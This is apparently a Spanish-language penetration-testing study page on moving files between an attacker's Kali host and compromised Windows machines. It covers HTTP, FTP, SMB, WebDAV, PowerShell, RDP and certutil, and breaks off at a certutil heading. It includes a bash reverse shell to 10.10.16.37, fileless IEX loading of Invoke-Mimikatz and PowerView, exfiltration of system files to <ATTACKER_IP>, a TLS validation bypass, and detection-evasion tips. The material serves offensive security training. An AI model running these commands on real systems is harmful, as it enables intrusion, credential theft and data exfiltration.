# Desde Windows descargarmos el archivo a través de cURL
curl http://<ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt

curl <ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt

Wget

# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80

# Desde Windows descargarmos el archivo con wget, si no especificamos -o, se descargará en el directorio actual
wget http://<ATTACKER_IP>/archivo.txt
wget http://<ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt

wget <ATTACKER_IP>/archivo.txt
wget <ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt

FTP Downloads

Otra forma de transferir archivos es mediante FTP (File Transfer Protocol), que utiliza los puertos TCP/21 y TCP/20. Podemos utilizar el cliente FTP o PowerShell Net.WebClient para descargar archivos desde un servidor FTP.

Podemos configurar un servidor FTP en nuestro host de ataque utilizando el módulo pyftpdlib de Python3. Se puede instalar con el siguiente comando:

sudo pip3 install pyftpdlib --break-system-packages

Luego podemos especificar el puerto número 21 porque, de forma predeterminada, pyftpdlib usa el puerto 2121. La autenticación anónima está habilitada de forma predeterminada si no configuramos un usuario y una contraseña.

sudo python3 -m pyftpdlib --port 21

Una vez configurado el servidor FTP, podemos realizar transferencias de archivos utilizando el cliente FTP preinstalado desde Windows o PowerShell Net.WebClient.

PS C:\htb> (New-Object Net.WebClient).DownloadFile('ftp://<ATTACKER_IP>/file.txt', 'C:\Users\Public\ftp-file.txt')

Create a Command File for the FTP Client and Download the Target File

╭╴at  ~\Desktop
╰─ echo "open 192.168.134.128" > ftpcommand.txt

╭╴at  ~\Desktop
╰─ echo "USER anonymous" >> ftpcommand.txt

╭╴at  ~\Desktop
╰─ echo "binary" >> ftpcommand.txt

╭╴at  ~\Desktop
╰─ echo "GET shell.sh" >> ftpcommand.txt

╭╴at  ~\Desktop
╰─ echo "bye" >> ftpcommand.txt

╭╴at  ~\Desktop
╰─ ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.134.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> GET shell.sh
ftp> bye

╭╴at  ~\Desktop
╰─ cat .\shell.sh
#!/bin/bash
/bin/bash -c "bash -i >& /dev/tcp/10.10.16.37/443 0>&1"

JavaScript

JavaScript es un lenguaje de programación que permite implementar funciones complejas en páginas web. Al igual que con otros lenguajes de programación, podemos usarlo para muchas cosas diferentes.

wget.js

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

Podemos usar el siguiente comando desde un símbolo del sistema de Windows o una terminal de PowerShell para ejecutar nuestro código JavaScript y descargar un archivo.

Download a File Using JavaScript and cscript.exe

C:\htb> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1

VBScript

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with

Podemos usar el siguiente comando desde un símbolo del sistema de Windows o una terminal de PowerShell para ejecutar nuestro código VBScript y descargar un archivo.

Download a File Using VBScript and cscript.exe

C:\htb> cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1

Upload Operations

PowerShell Upload Operations

Disponemos de diversas maneras de realizar una transferencias de archivos de la máquina objetivo hacía la nuestra a través de PowerShell.

PowerShell

SMB Uploads

SMB Server

# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -smb2support

# Desde Windows, podemos descargar ficheros de Kali Linux hacía el equipo Windows
copy C:\path\archivo.txt \\<ATTACKER_IP>\smbFolder\archivo.txt

Las nuevas versiones de Windows bloquean el acceso de invitados no autenticados, como podemos ver en el siguiente comando:

# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -username gzzcoo -password gzzcoo123 -smb2support

# Desde Windows conectamos el SMB y transferimos el archivo directamente hacía Kali.
net use x: \\<ATTACKER_IP>\smbFolder /user:gzzcoo gzzcoo123

copy C:\path\archivo.txt x:\archivo.txt

WebDAV

Anteriormente discutimos que las empresas suelen permitir el tráfico saliente a través de los protocolos HTTP (TCP/80) y HTTPS (TCP/443). Normalmente, las empresas no permiten el protocolo SMB (TCP/445) fuera de su red interna, ya que esto podría exponerlas a posibles ataques. Para más información sobre esto, podemos leer la publicación de Microsoft Preventing SMB traffic from lateral connections and entering or leaving the network.

Una alternativa es ejecutar SMB sobre HTTP con WebDAV. WebDAV (RFC 4918) es una extensión de HTTP, el protocolo de Internet que utilizan los navegadores y servidores web para comunicarse entre sí. El protocolo WebDAV permite que un servidor web funcione como un servidor de archivos, admitiendo la creación colaborativa de contenido. WebDAV también puede usar HTTPS.

Cuando se usa SMB, primero intentará conectarse mediante el protocolo SMB y, si no encuentra un recurso compartido SMB disponible, intentará conectarse a través de HTTP. En la siguiente captura de Wireshark, intentamos conectarnos al recurso compartido testing3 y, como no encontró nada con SMB, utilizó HTTP.

1 - Configuring WebDav Server

2 - Installing WebDav Python modules

sudo pip3 install wsgidav cheroot --break-system-packages

3 - Using the WebDav Python module

sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

4 - Connecting to the Webdav Share

Ahora podemos intentar conectarnos al recurso compartido utilizando el directorio DavWWWRoot. Desde CMD.

CMD

C:\Users\gzzcoo\Desktop>dir \\192.168.134.128\DavWWWRoot
 Volume in drive \\192.168.134.128\DavWWWRoot has no label.
 Volume Serial Number is 0000-0000

 Directory of \\192.168.134.128\DavWWWRoot

06/03/2025  02:44    <DIR>          .
06/03/2025  02:44    <DIR>          ..
06/03/2025  02:18    <DIR>          tmp.h4ikej9g1U

Otro método desde PowerShell.

PowerShell

╭╴at  ~\Desktop
╰─ net use * http://192.168.134.128/ /user:anonymous ""

Comprobar que podemos listar la unidad que se nos ha asignado.

PowerShell

╭╴at  ~\Desktop took 3s
╰─ dir Z:


    Directory: Z:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        06/03/2025      2:18                tmp.h4ikej9g1U
d-----        06/03/2025      0:32                tmp.CfttO9JChM

5 - Uploading Files using SMB

CMD

C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.134.129\DavWWWRoot\

PowerShell

╭╴at  ~\Desktop
╰─ copy shell.sh Z:\

FTP Uploads

Subir archivos usando FTP es muy similar a descargar archivos. Podemos usar PowerShell o el cliente FTP para realizar la operación. Antes de iniciar nuestro servidor FTP utilizando el módulo de Python pyftpdlib, necesitamos especificar la opción --write para permitir que los clientes suban archivos a nuestro host de ataque.

sudo python3 -m pyftpdlib --port 21 --write

Ahora usemos la función de carga de PowerShell para subir un archivo a nuestro servidor FTP.

PowerShell Upload File

(New-Object Net.WebClient).UploadFile('ftp://192.168.134.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

Create a Command File for the FTP Client to Upload a File

╭╴at  ~\Desktop
╰─ echo "open 192.168.134.128" > ftpcommand.txt

╭╴at  ~\Desktop
╰─ echo "USER anonymous" >> ftpcommand.txt

╭╴at  ~\Desktop
╰─ echo "binary" >> ftpcommand.txt

╭╴at  ~\Desktop
╰─ echo "PUT C:\Windows\System32\drivers\etc\hosts" >> ftpcommand.txt

╭╴at  ~\Desktop
╰─ echo "bye" >> ftpcommand.txt


╭╴at  ~\Desktop took 2s
╰─ ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.134.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> PUT C:\Windows\System32\drivers\etc\hosts
ftp> bye

PowerShell

PowerShell Session File Transfer

Para crear una sesión de PowerShell Remoting en una computadora remota, necesitaremos acceso administrativo, ser miembro del grupo Remote Management Users o tener permisos explícitos para PowerShell Remoting en la configuración de la sesión. Creemos un ejemplo y transfiramos un archivo de DC01 a DATABASE01 y viceversa.

Tenemos una sesión como Administrador en DC01, el usuario tiene derechos administrativos en DATABASE01 y PowerShell Remoting está habilitado. Usemos Test-NetConnection para confirmar que podemos conectarnos a WinRM.

From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.

PS C:\htb> whoami
htb\administrator

PS C:\htb> hostname
DC01

PS C:\htb> Test-NetConnection -ComputerName DATABASE01 -Port 5985

ComputerName     : DATABASE01
RemoteAddress    : 192.168.1.101
RemotePort       : 5985
InterfaceAlias   : Ethernet0
SourceAddress    : 192.168.1.100
TcpTestSucceeded : True

Como esta sesión ya tiene privilegios sobre DATABASE01, no necesitamos especificar credenciales. En el ejemplo siguiente, se crea una sesión en la computadora remota denominada DATABASE01 y se almacenan los resultados en la variable denominada $Session.

Create a PowerShell Remoting Session to DATABASE01

PS C:\htb> $Session = New-PSSession -ComputerName DATABASE01

Podemos usar el cmdlet Copy-Item para copiar un archivo de nuestra máquina local DC01 a la sesión DATABASE01 que tenemos $Session o viceversa.

Copy samplefile.txt from our Localhost to the DATABASE01 Session

PS C:\htb> Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\

Copy DATABASE.txt from DATABASE01 Session to our Localhost

PS C:\htb> Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session

Download Operations

PowerShell File Download

DownloadFile --> Descarga datos de un recurso a un archivo local.
DownloadFileAsync --> Descarga datos de un recurso a un archivo local sin bloquear el hilo que lo llama.

# Ejemplo DownloadFile:(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')

# Ejemplo DownloadFileAsync: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')

PowerShell Invoke-WebRequest

# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80

# Desde Windows descargarmos el archivo con IWR (Invoke-WebRequest)
IWR -Uri http://<ATTACKER_IP>/archivo.txt -OutFile C:\path\destination\archivo.txt

Invoke-WebRequest -Uri http://<ATTACKER_IP>/archivo.txt -OutFile C:\path\destination\archivo.txt

PowerShell DownloadString - Fileless Method

Ejecutar directamente en memoria el script a través de IEX.

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')

(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX

PowerShell Base64 Transfer

# Desde Kali codificamos en Base64 el archivo que queremos transferir
cat archivo.txt | base64 -w 0; echo

# Desde PowerShell (Víctima), decodificamos el contenido y lo almacenamos en una ruta
[IO.File]::WriteAllBytes("C:\Users\Public\archivo.txt", [Convert]::FromBase64String("<BASE64_CODE>"))

powershell -c "[IO.File]::WriteAllBytes('C:\Users\Public\archivo.txt', [Convert]::FromBase64String('<BASE64_CODE>'))"

Common Errors with PowerShell

Internet Explorer 11 Not Completed

Puede haber casos en los que la configuración inicial de Internet Explorer no se haya completado, lo que impide la descarga.

Esto se puede evitar utilizando el parámetro -UseBasicParsing.

PS C:\htb> IWR -Uri http://<ATTACKER_IP>/PowerView.ps1 | IEX

Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

PS C:\htb> IWR -Uri http://<ATTACKER_IP>PowerView.ps1 -UseBasicParsing | IEX

Secure Channel SSL/TLS is not trusted

Otro error en las descargas de PowerShell está relacionado con el canal seguro SSL/TLS si el certificado no es de confianza. Podemos evitar ese error con el siguiente comando:

PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1
+ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException
PS C:\htb> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Upload Operations

PowerShell Base64

# Desde el equipo victima convertimos el archivo 'file.bin' que no es legible a Base64
powershell -c "[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))"

[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))

# Desde el equipo atacante, descodificamos el contenido y obtenemos el archivo original. Nos hemos pasado el archivo solamente codificando en Base64.
echo '<BASE64_CODE>' | base64 -d > file.bin

PowerShell Web Uploads

PowerShell no tiene una función integrada para operaciones de carga de archivos, pero podemos usar Invoke-WebRequest o Invoke-RestMethod para construir nuestra propia función de carga. También necesitaremos un servidor web que acepte cargas de archivos, ya que esta no es una opción predeterminada en la mayoría de los servidores web comunes.

Para nuestro servidor web, podemos usar uploadserver, un módulo extendido de Python HTTP.server, que incluye una página para la carga de archivos. Vamos a instalarlo y a iniciar el servidor web.

sudo pip3 install uploadserver --break-system-packages

Installing a Configured WebServer with Upload

❯ sudo pip3 install uploadserver --break-system-packages

❯ python3 -m uploadserver

Ahora podemos usar un script de PowerShell llamado PSUpload.ps1, que utiliza Invoke-RestMethod para realizar las operaciones de carga. El script acepta dos parámetros:

-File, que usamos para especificar la ruta del archivo.
-Uri, que es la URL del servidor donde subiremos nuestro archivo.

Vamos a intentar subir el archivo hosts desde nuestro sistema Windows.

╭╴at  ~\Desktop
╰─ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
╭╴at  ~\Desktop
╰─ Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

[+] File Uploaded:  C:\Windows\System32\drivers\etc\hosts
[+] FileHash:  5E7241D66FD77E9E8EA866B6278B2373

PowerShell Base64 Web Upload

Otra forma de usar PowerShell y archivos codificados en Base64 para cargas es combinando Invoke-WebRequest o Invoke-RestMethod con Netcat.

Usamos Netcat para escuchar en un puerto específico y recibir la solicitud POST con el archivo.
Luego, copiamos la salida y utilizamos la función de decodificación Base64 para convertir la cadena en un archivo.

PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\htb> Invoke-WebRequest -Uri http://192.168.134.128:8000/ -Method POST -Body $b64

Capturamos los datos en Base64 con Netcat y luego usamos la aplicación base64 con la opción de decodificación para convertir la cadena en un archivo.

❯ nc -nlvp 8000
listening on [any] 8000 ...
connect to [192.168.134.128] from (UNKNOWN) [192.168.134.1] 52051
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) WindowsPowerShell/5.1.26100.2161
Content-Type: application/x-www-form-urlencoded
Host: 192.168.134.128:8000
Content-Length: 1100
Connection: Keep-Alive

IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1HNh

❯ echo <base64> | base64 -d -w 0 > hosts

Remote Desktop Protocol (RDP)

RDP (Remote Desktop Protocol) se utiliza habitualmente en redes Windows para el acceso remoto. Podemos transferir archivos mediante RDP copiando y pegando. Podemos hacer clic derecho y copiar un archivo desde la máquina Windows a la que nos conectamos y pegarlo en la sesión RDP.

Si estamos conectados desde Linux, podemos utilizar xfreerdp o rdesktop. En el momento de redactar este artículo, xfreerdp y rdesktop permiten copiar desde nuestra máquina de destino a la sesión RDP, pero puede haber situaciones en las que esto no funcione como se espera.

Como alternativa a copiar y pegar, podemos montar un recurso local en el servidor RDP de destino. rdesktop o xfreerdp se pueden utilizar para exponer una carpeta local en la sesión RDP remota.

Mounting a Linux Folder Using rdesktop

On Kali

rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'

Mounting a Linux Folder Using xfreerdp

On Kali

xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer

Para acceder al directorio, podemos conectarnos a \\tsclient, lo que nos permitirá transferir archivos hacia y desde la sesión RDP.

mstsc.exe

Alternativamente, desde Windows, se puede utilizar el cliente de escritorio remoto nativo mstsc.exe.

Después de seleccionar la unidad, podremos interactuar con ella en la sesión remota que sigue.

Nota: Esta unidad no es accesible para ningún otro usuario que haya iniciado sesión en la computadora de destino, incluso si logra secuestrar la sesión RDP.

LOLBAS

Los binarios de Living off the Land pueden usarse para realizar funciones como:

Download
Upload
Command Execution
File Read
File Write
Bypoasses

Protected File Transfers

Durante una auditoría, muchas veces tenemos acceso a información sensible como listas de usuarios, credenciales (por ejemplo, al descargar el archivo NTDS.dit para crackeo offline), datos de enumeración que revelan detalles clave de la infraestructura de red o del entorno de Active Directory, entre otros. Por eso, es fundamental cifrar esa información o usar conexiones seguras como SSH, SFTP o HTTPS siempre que sea posible.

Sin embargo, a veces no tenemos acceso a esos canales cifrados y toca buscar otra forma de proteger los datos. En esos casos, cifrar los archivos antes de transferirlos es una buena práctica para evitar que puedan ser leídos si son interceptados.

File Enctryption on Windows

Se pueden usar muchos métodos diferentes para cifrar archivos e información en sistemas Windows. Uno de los más sencillos es el script de PowerShell Invoke-AESEncryption.ps1. Este script es pequeño y permite cifrar archivos y cadenas.

Invoke-AESEncryption.ps1

<#
.SYNOPSIS
Encryptes or Decrypts Strings or Byte-Arrays with AES

.DESCRIPTION
Takes a String or File and a Key and encrypts or decrypts it with AES256 (CBC)

.PARAMETER Mode
Encryption or Decryption Mode

.PARAMETER Key
Key used to encrypt or decrypt

.PARAMETER Text
String value to encrypt or decrypt

.PARAMETER Path
Filepath for file to encrypt or decrypt

.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Text "Secret Text"

Description
-----------
Encrypts the string "Secret Test" and outputs a Base64 encoded cipher text.

.EXAMPLE
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Text "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs="

Description
-----------
Decrypts the Base64 encoded string "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs=" and outputs plain text.

.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Path file.bin

Description
-----------
Encrypts the file "file.bin" and outputs an encrypted file "file.bin.aes"

.EXAMPLE
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Path file.bin.aes

Description
-----------
Decrypts the file "file.bin.aes" and outputs an encrypted file "file.bin"
#>
function Invoke-AESEncryption {
    [CmdletBinding()]
    [OutputType([string])]
    Param
    (
        [Parameter(Mandatory = $true)]
        [ValidateSet('Encrypt', 'Decrypt')]
        [String]$Mode,

        [Parameter(Mandatory = $true)]
        [String]$Key,

        [Parameter(Mandatory = $true, ParameterSetName = "CryptText")]
        [String]$Text,

        [Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]
        [String]$Path
    )

    Begin {
        $shaManaged = New-Object System.Security.Cryptography.SHA256Managed
        $aesManaged = New-Object System.Security.Cryptography.AesManaged
        $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
        $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
        $aesManaged.BlockSize = 128
        $aesManaged.KeySize = 256
    }

    Process {
        $aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key))

        switch ($Mode) {
            'Encrypt' {
                if ($Text) {$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($Text)}

                if ($Path) {
                    $File = Get-Item -Path $Path -ErrorAction SilentlyContinue
                    if (!$File.FullName) {
                        Write-Error -Message "File not found!"
                        break
                    }
                    $plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)
                    $outPath = $File.FullName + ".aes"
                }

                $encryptor = $aesManaged.CreateEncryptor()
                $encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
                $encryptedBytes = $aesManaged.IV + $encryptedBytes
                $aesManaged.Dispose()

                if ($Text) {return [System.Convert]::ToBase64String($encryptedBytes)}

                if ($Path) {
                    [System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)
                    (Get-Item $outPath).LastWriteTime = $File.LastWriteTime
                    return "File encrypted to $outPath"
                }
            }

            'Decrypt' {
                if ($Text) {$cipherBytes = [System.Convert]::FromBase64String($Text)}

                if ($Path) {
                    $File = Get-Item -Path $Path -ErrorAction SilentlyContinue
                    if (!$File.FullName) {
                        Write-Error -Message "File not found!"
                        break
                    }
                    $cipherBytes = [System.IO.File]::ReadAllBytes($File.FullName)
                    $outPath = $File.FullName -replace ".aes"
                }

                $aesManaged.IV = $cipherBytes[0..15]
                $decryptor = $aesManaged.CreateDecryptor()
                $decryptedBytes = $decryptor.TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16)
                $aesManaged.Dispose()

                if ($Text) {return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0)}

                if ($Path) {
                    [System.IO.File]::WriteAllBytes($outPath, $decryptedBytes)
                    (Get-Item $outPath).LastWriteTime = $File.LastWriteTime
                    return "File decrypted to $outPath"
                }
            }
        }
    }

    End {
        $shaManaged.Dispose()
        $aesManaged.Dispose()
    }
}

Import Module Invoke-AESEncryption.ps1

Podemos usar cualquiera de los métodos de transferencia de archivos mostrados anteriormente para transferir este archivo al host de destino. Una vez transferido el script, solo es necesario importarlo como módulo, como se muestra a continuación.

PS C:\gzzcoo> Import-Module .\Invoke-AESEncryption.ps1

PS C:\gzzcoo> IEX(New-Object Net.WebClient).downloadString("https://gist.githubusercontent.com/ddumicz/909d98a0e794a42326d5fcd6d9f2c4ad/raw/dc5419b9702015bb6652a07e46743b3554c05e2f/Invoke-AESEncryption.ps1")

Tras importar el script, este puede cifrar cadenas o archivos, como se muestra en los siguientes ejemplos. Este comando crea un archivo cifrado con el mismo nombre que el archivo cifrado, pero con la extensión ".aes".

File Encryption and Desencryption Example

# Encriptación
PS C:\gzzcoo> Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt

File encrypted to C:\gzzcoo\scan-results.txt.aes
PS C:\gzzcoo> ls

    Directory: C:\gzzcoo

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        11/18/2020  12:17 AM           9734 Invoke-AESEncryption.ps1
-a----        11/18/2020  12:19 PM           1724 scan-results.txt
-a----        11/18/2020  12:20 PM           3448 scan-results.txt.aes

# Desencriptación
PS C:\gzzcoo> Invoke-AESEncryption -Mode Decrypt -Key "p4ssw0rd" -Path .\scan-results.txt.aes

Es fundamental utilizar contraseñas de cifrado muy seguras y únicas para cada empresa donde se realice una prueba de penetración. Esto evita que archivos e información confidenciales se descifren con una sola contraseña que podría haber sido filtrada y descifrada por un tercero.

Catching Files over HTTP/S

HTTP/S

La transferencia web es la forma más común en la que la mayoría de la gente transfiere archivos, ya que HTTP/HTTPS son los protocolos que normalmente están permitidos a través de los firewalls. Además, en muchos casos, el archivo viaja cifrado, lo cual es una gran ventaja. No hay nada peor que estar en un pentest y que el IDS del cliente detecte que hemos enviado un archivo sensible en texto plano, y que luego pregunten por qué mandamos una contraseña a nuestro servidor sin cifrado.

Ya vimos cómo usar el módulo uploadserver de Python3 para montar un servidor web con capacidad de subida de archivos, pero también podemos usar Apache o Nginx. En esta parte, vamos a ver cómo montar un servidor web seguro para operaciones de subida de archivos.

Nginx – Habilitar PUT

Una buena alternativa a Apache para transferir archivos es Nginx, ya que su configuración es más sencilla y su sistema de módulos no genera tantos problemas de seguridad como puede ocurrir con Apache.

Cuando permitimos subidas por HTTP, es fundamental asegurarnos al 100% de que los usuarios no puedan subir shells web y ejecutarlos. Apache, por ejemplo, puede ser peligroso en este sentido, ya que su módulo de PHP tiende a ejecutar cualquier archivo que termine en .php. En cambio, configurar PHP en Nginx no es tan directo, lo que en este contexto es una ventaja porque reduce el riesgo de ejecución automática.

Create a Directory to Handle Uploaded Files

gzzcoo@htb[/htb]$ sudo mkdir -p /var/www/uploads/SecretUploadDirectory

Change the Owner to www-data

gzzcoo@htb[/htb]$ sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory

Create Nginx Configuration File

Cree el archivo de configuración de Nginx creando el archivo /etc/nginx/sites-available/upload.conf con el contenido:

server {
    listen 9001;
    
    location /SecretUploadDirectory/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}

Symlink our Site to the sites-enabled Directory

gzzcoo@htb[/htb]$ sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/

Start Nginx

gzzcoo@htb[/htb]$ sudo systemctl restart nginx.service

Remove NginxDefault Configuration

gzzcoo@htb[/htb]$ sudo rm /etc/nginx/sites-enabled/default

Ahora podemos probar la carga usando cURL para enviar una solicitud PUT. En el siguiente ejemplo, subiremos el archivo /etc/passwd al servidor y lo llamaremos users.txt.

Upload File Using cURL

VICTIM

C:\gzzcoo> curl -T "C:\Windows\System32\drivers\etc\hosts" http://<ATTACKER_IP>:9001/SecretUploadDirectory/hosts.txt

ATTACKER

gzzcoo@htb[/htb]$ sudo tail -1 /var/www/uploads/SecretUploadDirectory/hosts.txt 

#	::1             localhost

Una vez que esto funcione, una buena prueba es asegurarnos de que el listado de directorios no esté habilitado navegando a http://localhost/SecretUploadDirectory. Por defecto, con Apache, si encontramos un directorio sin un archivo de índice (index.html), listará todos los archivos. Esto es perjudicial para nuestro caso de exfilling de archivos, ya que la mayoría son sensibles por naturaleza y queremos hacer todo lo posible por ocultarlos. Gracias a que Nginx es minimalista, estas funciones no están habilitadas por defecto.

Detection and Evading Detection

Detection

La detección de comandos en línea basada en listas negras es fácil de evadir, incluso usando una simple ofuscación con mayúsculas y minúsculas. Sin embargo, aunque crear una lista blanca de todos los comandos permitidos en un entorno puede llevar tiempo al principio, es una solución muy robusta que permite detectar y alertar rápidamente sobre comandos inusuales.

La mayoría de los protocolos cliente-servidor requieren que el cliente y el servidor negocien cómo se entregará el contenido antes de intercambiar información. Esto es común en el protocolo HTTP. Existe la necesidad de interoperabilidad entre diferentes servidores web y navegadores para asegurar que los usuarios tengan la misma experiencia sin importar el navegador que usen. Los clientes HTTP suelen identificarse por su cadena User-Agent, que el servidor usa para saber qué cliente se está conectando, por ejemplo, Firefox, Chrome, etc.

Los User-Agent no solo se usan para identificar navegadores web, sino que cualquier cosa que actúe como cliente HTTP y se conecte a un servidor puede tener su propia cadena User-Agent (por ejemplo, cURL, un script en Python, o herramientas como sqlmap o Nmap).

Las transferencias de archivos maliciosas también pueden detectarse a través de su User-Agent. A continuación, se muestran los User-Agent y cabeceras observadas en técnicas comunes de transferencia HTTP (probado en Windows 10, versión 10.0.14393, con PowerShell 5).

Invoke-WebRequest - Client

PS C:\htb> Invoke-WebRequest http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe" 
PS C:\htb> Invoke-RestMethod http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"

Invoke-WebRequest - Server

GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0

WinHttpRequest - Client

PS C:\htb> $h=new-object -com WinHttp.WinHttpRequest.5.1;
PS C:\htb> $h.open('GET','http://10.10.10.32/nc.exe',$false);
PS C:\htb> $h.send();
PS C:\htb> iex $h.ResponseText

WinHttpRequest - Server

GET /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Msxml2 - Client

PS C:\htb> $h=New-Object -ComObject Msxml2.XMLHTTP;
PS C:\htb> $h.open('GET','http://10.10.10.32/nc.exe',$false);
PS C:\htb> $h.send();
PS C:\htb> iex $h.responseText

Msxml2 - Server

GET /nc.exe HTTP/1.1
Accept: */*
Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)

Certutil - Client

C:\htb> certutil -urlcache -split -f http://10.10.10.32/nc.exe 
C:\htb> certutil -verifyctl -split -f http://10.10.10.32/nc.exe

Certutil - Server

